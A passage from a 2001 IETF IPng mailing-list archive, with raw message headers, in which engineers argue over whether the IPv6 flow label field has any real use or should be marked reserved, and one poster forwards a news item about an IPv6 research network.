worse. > Yeah, yeah, some (edge) routers will have to do that anyway, but > this is *such* a no-brainer for the host that they deserve lousy > (degraded) service if they can't be bothered to implement either > diffserv or setting flow labels. If it is such a no brainer, I'm sure it would be easy for you to explain, as I've asked: 1) What exact use you will put the flow label to 2) Precisely what quantitative improvements you're expecting over existing hardware classification mechanisms by having the flow label. When I hear folks at Juniper mumbling that they already have their hardware v6 support out in the field in their existing router line, and I hear folks from Extreme mumbling that they have their packet classifiers built (and they're hardly the only ones), and I look at the fact that there are a whole lot of v6 enabled systems already out there in the field that aren't going away, I feel like I have to start asking hard questions. If we're going to start mandating people do something new at this late stage of the game, we'd better have a good engineering rationale for it, along with good measurements to back up that rationale. -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 24 20:23:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP4NLZR016230 for ; Mon, 24 Dec 2001 20:23:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBP4NLk6016229 for ipng-dist; Mon, 24 Dec 2001 20:23:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBP4NIZR016222 for ; Mon, 24 Dec 2001 20:23:18 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA12209 for ; Mon, 24 Dec 2001 20:23:20 -0800 (PST) Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA28929 for ; Mon, 24 Dec 2001 21:23:20 -0700 (MST) Received: from sgoswamipcl (dsl-65-184-63-5.telocity.com [65.184.63.5]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with SMTP id XAA18493 for ; Mon, 24 Dec 2001 23:23:19 -0500 (EST) From: "Subrata Goswami" To: Subject: RE: Flow Label Date: Mon, 24 Dec 2001 20:27:00 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <200112250049.fBP0n1d08852@newdev.harvard.edu> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk i guess the flow bits should officially be reserved. subrata -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Scott Bradner Sent: Monday, December 24, 2001 4:49 PM To: ipng@sunroof.eng.sun.com Subject: Re: Flow Label I've been watching the discussion over the IPv6 flow label for a while and (like Perry) have yet to see anything I woukd call a real reason to be doing anything with it - specifically I've seen no vendors say what specific use they would put a FL to. I find it hard to see why so much time is being spent on this other than the fear that idle bits are the devil's playground - i.e. the fear of unassigned bits in the header - I'd rather wait until we are real sure that 1/ there is one or more use(s) for the FL that consensus can be reached on, 2/ have some understanding on what the FL characteristics are for those uses Over the last few years I have seen suggestions ranging from the original idea of ofloading router forwarding engines (hard to justify in an era of ASIC-based and network processor-based forwarders, to an ID for the owner of the content of a packet, to QoS lables (which are hard to diferentiate from difserv code points in teh real world), to billing information. None of these have presented a compelling reason to think that we understand any FL use well enough to define anything now. ymmv Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 25 05:47:29 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPDlTZR016678 for ; Tue, 25 Dec 2001 05:47:29 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBPDlSfJ016677 for ipng-dist; Tue, 25 Dec 2001 05:47:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPDlOZR016670 for ; Tue, 25 Dec 2001 05:47:25 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA08680 for ; Tue, 25 Dec 2001 05:47:27 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA28125 for ; Tue, 25 Dec 2001 05:47:26 -0800 (PST) Received: by snark.piermont.com (Postfix, from userid 1000) id 9B9C4D97CE; Tue, 25 Dec 2001 08:47:24 -0500 (EST) From: "Perry E. Metzger" To: Subject: Re: Flow Label References: Date: 25 Dec 2001 08:47:24 -0500 In-Reply-To: Message-ID: <87g05zfm37.fsf@snark.piermont.com> Lines: 15 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Subrata Goswami" writes: > i guess the flow bits should officially be reserved. My personal taste is that we rename the field "Reserved -- must be zero" so that people quit coming up with proposals just because, as one person at Salt Lake City put it, "it is embarrassing that we have a flow label field but nothing uses it so we should come up with a use" (one of the most frightening things I've ever heard at an IETF meeting.) Perry -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 25 05:51:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPDp5ZR016695 for ; Tue, 25 Dec 2001 05:51:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBPDp5L8016694 for ipng-dist; Tue, 25 Dec 2001 05:51:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPDp1ZR016687 for ; Tue, 25 Dec 2001 05:51:01 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA26020 for ; Tue, 25 Dec 2001 05:51:03 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA28538 for ; Tue, 25 Dec 2001 05:51:02 -0800 (PST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBPDort09862 for ipng@sunroof.eng.sun.com; Tue, 25 Dec 2001 08:50:53 -0500 (EST) Date: Tue, 25 Dec 2001 08:50:53 -0500 (EST) From: Scott Bradner Message-Id: <200112251350.fBPDort09862@newdev.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: Flow Label Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry sez: > My personal taste is that we rename the field "Reserved -- must be > zero" so that people quit coming up with proposals just because, as > one person at Salt Lake City put it, "it is embarrassing that we have a > flow label field but nothing uses it so we should come up with a use" I agree with this Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 25 10:22:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPIMlZR017109 for ; Tue, 25 Dec 2001 10:22:47 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBPIMlbR017108 for ipng-dist; Tue, 25 Dec 2001 10:22:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPIMhZR017101 for ; Tue, 25 Dec 2001 10:22:44 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA24469 for ; Tue, 25 Dec 2001 10:22:46 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA00385 for ; Tue, 25 Dec 2001 10:22:46 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBPIMjY09842; Tue, 25 Dec 2001 10:22:45 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO61069; Tue, 25 Dec 2001 10:22:11 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA08183; Tue, 25 Dec 2001 10:22:45 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15400.50164.852323.177813@thomasm-u1.cisco.com> Date: Tue, 25 Dec 2001 10:22:44 -0800 (PST) To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <87sna0gkoo.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > > Indeed, > > it's seems to be all of the hangwringing over > > the obvious definition for these bits that > > has managed to shoot IPv6 in the foot, re > > fast flow clasification. > > There isn't a flow label in IPv4 and it seems > to be well deployed. Uh, make up your mind. Flow classification for QoS is not well deployed. If your entire point is that signaled QoS is a load of hooey, state that so we can all save time. > > But I'm not sure what you're asking for. > > Do you really have any doubt that forming > > the flow key from fixed postions in the > > IP6 header is going to not kick butt on > > chasing down header chains with a half > > dozen different rules dependent on protocol > > value to hopefully find a 5 tuple? > > Yes, I have substantial doubts on this. First of all, people already > have silicon that does this astonishingly fast. Define "astonishingly"; I don't know of anything that does IP6 vaguely approaching "astonishingly" except in slideware. IP6 adds the concept of header chaining which, though possible in IP4, is not common, and the cross product with QoS is even less supported (if at all). This is a substantial source of heartburn for ASIC designers, and is problematic for CAM based designs -- which are astonishingly fast -- where every bit is precious. > Second of all, they > don't yet have silicon that will do anything with the "flow label" and > it will be years before they could have deployed hardware like > that. ::snort:: What is absolutely for certain is that each new protocol and/or tunnel combination will be years away each time somebody decides that that combination is vital to existence as we know it. > Third, they'd have to chase down the header chains anyway, > because stuff like XP isn't going away. (In other words, we've > deployed, it is too late.) As if XP is the only thing that will require elevated QoS. In fact, I expect that if signaled QoS is deployed at all, it will be for voip, etc, widgets. Somebody sitting at a PC already has low expectations. > Fourth, I have yet to see any real > explanation of what this is going to do for people in > practice. Repeating my earlier request: Then you're hearing what you want to hear. > When I hear folks at Juniper mumbling that they already have their > hardware v6 support out in the field in their existing router line, > and I hear folks from Extreme mumbling that they have their packet > classifiers built (and they're hardly the only ones), Astonishingly fast, no doubt. Look, you can make just about anything go "astonishingly fast" with enough NRE + RE. The question is whether we should keep the IETF QoS full employment act fully funded by ignoring the layer violation. It seems that you're saying that it's a done deal therefore ignore it. What you're not fessing up to is that the reality is that NAT's have *really* won and that IP6's future is still very much uncertain. So, IMO, we either continue with this possible fantasy that we can engineer a clean new version of IP, or we chuck it all and give in to the least common denominator of hacks upon hacks upon hacks. There are lots of other things in this class too; my favorite bit of suspended disbelief is renumbering. > and I look at > the fact that there are a whole lot of v6 enabled systems already out > there in the field that aren't going away, I feel like I have to start > asking hard questions. "Whole lot"? Please. And adding a flow label to the kernel is *hardly* rocket science. > If we're going to start mandating people do something new at this late > stage of the game, we'd better have a good engineering rationale for > it, along with good measurements to back up that rationale. Nobody's "mandating" anything any more than "mandating" DSCP marking. If you don't want elevated QoS, you are completely at liberty to ignore all of this nonsense. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 25 11:22:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPJMjZR017174 for ; Tue, 25 Dec 2001 11:22:45 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBPJMjOc017173 for ipng-dist; Tue, 25 Dec 2001 11:22:45 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBPJMfZR017166 for ; Tue, 25 Dec 2001 11:22:41 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA13649 for ; Tue, 25 Dec 2001 11:22:41 -0800 (PST) Received: from snark.piermont.com ([166.84.151.72]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA07440 for ; Tue, 25 Dec 2001 12:22:40 -0700 (MST) Received: by snark.piermont.com (Postfix, from userid 1000) id A8B87D97CE; Tue, 25 Dec 2001 14:22:35 -0500 (EST) From: "Perry E. Metzger" To: Michael Thomas Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> Date: 25 Dec 2001 14:22:35 -0500 In-Reply-To: <15400.50164.852323.177813@thomasm-u1.cisco.com> Message-ID: <87g05zds04.fsf@snark.piermont.com> Lines: 69 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas writes: > > Yes, I have substantial doubts on this. First of all, people already > > have silicon that does this astonishingly fast. > > Define "astonishingly"; Ran Atkinson says Extreme's implementation (among other things) extracts the N-tuple in one clock cycle once the packet is in the ASIC. I may be mis-stating his claim but you can feel free to ask him about it -- it isn't like he's a shy guy. > > Fourth, I have yet to see any real > > explanation of what this is going to do for people in > > practice. Repeating my earlier request: > > Then you're hearing what you want to hear. Nope, I'm not. I've gone through the whole discussion. No one has yet stated precisely how they will use the field and what sort of speedup it will mean for them in practice. I want to see that clearly and distinctly explained well before we go through the exercise. I'm looking for statements from several router vendors that look much like this: "Big Router Company believes that it is important that we have the flow label because by implementing it, our studies show we will be able to reduce time on operation X to 175 microseconds. We intend to produce the hardware that will do this. Operation X is critical for packet forwarding because..." However I haven't seen anything like that. All I see is lots of vague posturing and comments to the effect that "well, we defined the field, didn't we? why don't we use it?" I see no one giving actual figures from experiments for the benefits of the field. I see no solid engineering explanation of the use of the field. I see no real claims from vendors that they badly want the field and will put support for the field into ASICs any decade soon. > > and I look at > > the fact that there are a whole lot of v6 enabled systems already out > > there in the field that aren't going away, I feel like I have to start > > asking hard questions. > > "Whole lot"? Please. Yes. Every single new PC shipping with Windows has v6 code in it. EVERY SINGLE ONE. Amazing, isn't it. The last major company that isn't shipping v6 support is Apple, and that will be fixed in OS X very soon. We defined a protocol and the vendors are now actually shipping it. It is actually going out to the field. Unfortunately, that makes it a bit late to make serious changes. > And adding a flow label to the kernel is *hardly* rocket science. Pretty fucking hard to stop the rocket once the SRBs are lit. -- Perry E. Metzger perry@wasabisystems.com -- NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 25 16:17:30 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQ0HUZR017580 for ; Tue, 25 Dec 2001 16:17:30 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQ0HU2q017579 for ipng-dist; Tue, 25 Dec 2001 16:17:30 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQ0HQZR017572 for ; Tue, 25 Dec 2001 16:17:26 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA26835 for ; Tue, 25 Dec 2001 16:17:28 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA14362 for ; Tue, 25 Dec 2001 16:17:28 -0800 (PST) Received: from kenawang ([192.168.1.79]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id QAA08323; Tue, 25 Dec 2001 16:16:08 -0800 (PST) Message-Id: <4.2.2.20011225191037.020021b0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Dec 2001 19:16:23 -0500 To: "Perry E. Metzger" From: Margaret Wasserman Subject: Re: Flow Label Cc: In-Reply-To: <87g05zfm37.fsf@snark.piermont.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >My personal taste is that we rename the field "Reserved -- must be >zero" so that people quit coming up with proposals just because, as >one person at Salt Lake City put it, "it is embarrassing that we have a >flow label field but nothing uses it so we should come up with a use" >(one of the most frightening things I've ever heard at an IETF meeting.) I agree with this approach. I also agree with Perry's statements regarding IPv6 deployment. IPv6 is already deployed in a large number of systems, and if things go well, it will be deployed (and used!) in an even larger number of systems within the next two years. We need to stop making experimental changes, finish up our existing specs and get IPv6 ready for prime time. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 25 17:11:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQ1BqZR017662 for ; Tue, 25 Dec 2001 17:11:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQ1BqYI017661 for ipng-dist; Tue, 25 Dec 2001 17:11:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQ1BmZR017654 for ; Tue, 25 Dec 2001 17:11:49 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA28068 for ; Tue, 25 Dec 2001 17:11:51 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA27082 for ; Tue, 25 Dec 2001 17:11:50 -0800 (PST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBQ1BleN005203 for ; Tue, 25 Dec 2001 19:11:48 -0600 (CST) Message-ID: <04b801c18dab$eaf60400$1000a8c0@Unir.com> From: "Jim Fleming" To: Subject: Fw: Mammoth IPv6 Lab Planned Date: Tue, 25 Dec 2001 19:23:24 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk It looks like some people are going with BETAMAX.... Jim Fleming http://www.IPv8.info IPv16....One Better !! > >Mammoth IPv6 Lab Planned > >By Isaac Hillson, CommWeb.com > >Dec 4, 2001 (8:18 AM) > >URL: http://www.commweb.com/article/COM20011204S0001 > > > >Cisco will lead a consortium of industry and academic institutions in > >building an IPv6 research network funded by the European Commission (EC). > >It will provide an IPv6 network infrastructure with routers and switches > >running Cisco IOS software. "6NET" will give service providers and > >European research and educational institutions the opportunity to define > >network capabilities for applications and services to Internet users. > >"Communication networks in general and the Internet in particular are the > >life-blood of the information society," comments Frans de Bruine, a > >director of the Information Society Technologies Programme, European > >Commission. > > > >"The 6NET test bed is at the heart of European-funded advanced networking > >experiments. This consortium intends to widely deploy IPv6 across the > >European research community and beyond." > > > >The demand for IPv6 has been increasing as the need for IP addresses grows. > > > >The 6NET project will span eight European countries and establish links > >with other IPv6 initiatives in North America and the Asia-Pacific region. > > > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:31:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEVYZR018016 for ; Wed, 26 Dec 2001 06:31:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBQEVYbi018015 for ipng-dist; Wed, 26 Dec 2001 06:31:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEVGZR017998 for ; Wed, 26 Dec 2001 06:31:17 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA03880 for ; Wed, 26 Dec 2001 06:31:19 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA23535 for ; Wed, 26 Dec 2001 07:31:18 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id PAA12698; Wed, 26 Dec 2001 15:31:16 +0100 Received: from gsine02.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA49576 from ; Wed, 26 Dec 2001 15:31:13 +0100 Message-Id: <3C29CD5F.83D8AEDE@hursley.ibm.com> Date: Wed, 26 Dec 2001 14:15:11 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011220133537.024a12e0@mail.windriver.com> <4.2.2.20011220144423.01f5e100@mail.windriver.com> <4.2.2.20011221111819.00a82100@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret, You're not missing anything. You can use the {source addr, flow label} 2uple to classify at line speed all packets requiring the *same* QOS treatment. The classifier doesn't need to know whether it's classifying for Intserv, Diffserv or some future QOS mechanism that hasn't been invented yet; it doesn't need to know whether it's classifying a single flow or a behavior aggregate or some other glob of traffic. Some higher level QOS mechanism, fed by the classifier, will know about that. Some higher level control-plane mechanism will configure the relevant 2uples into the hardware classifier. [Immutability isn't a requirement for this to be true, but immutablility also makes it unnecessary to have a string-of-SLAs all along the path for useful classification to be possible. I disagree with Alex on this - I really do think immutability is a requirement, even if it is subject to 'gentleman's agreement'.] Brian Margaret Wasserman wrote: > > Hi Brian, > > >If it is defined architecturally as an immutable e2e value, there > >are immediate ways to use it in hardware that will work for any > >semantics we may later add to it. > > Could you give an example? > > From my understanding of the current draft, the information in the > packet (the flow label, source address and destination address) will > not be sufficient to uniquely identify a single flow. Without a > knowledge of the flow lifetime (and protection of that lifetime across > reboots, etc.) the same flow label may be used by multiple flows > between a given source/destination pair, without any way for the > routers to detect when one flow ends and another starts. > > Basically, a given flow label/source addr/dest addr combination > can only be used to identify a group of flows between the source > and destination. These flows may not have the same hop-by-hop > options, may not be using the same upper layer protocols, etc. > So, it wouldn't be reasonable for me to cache any information about > the first flow, for fear that it would be used for the second > (potentially very different) flow. > > As far as I can tell, this makes it impossible to use the flow label > as current defined (without some out-of-band flow management system > to supply knowledge of flow lifetimes) to identify a single flow. > > What am I missing? > > Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 26 06:31:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBQEVKZR018013 for ; Wed, 26 Dec 2001 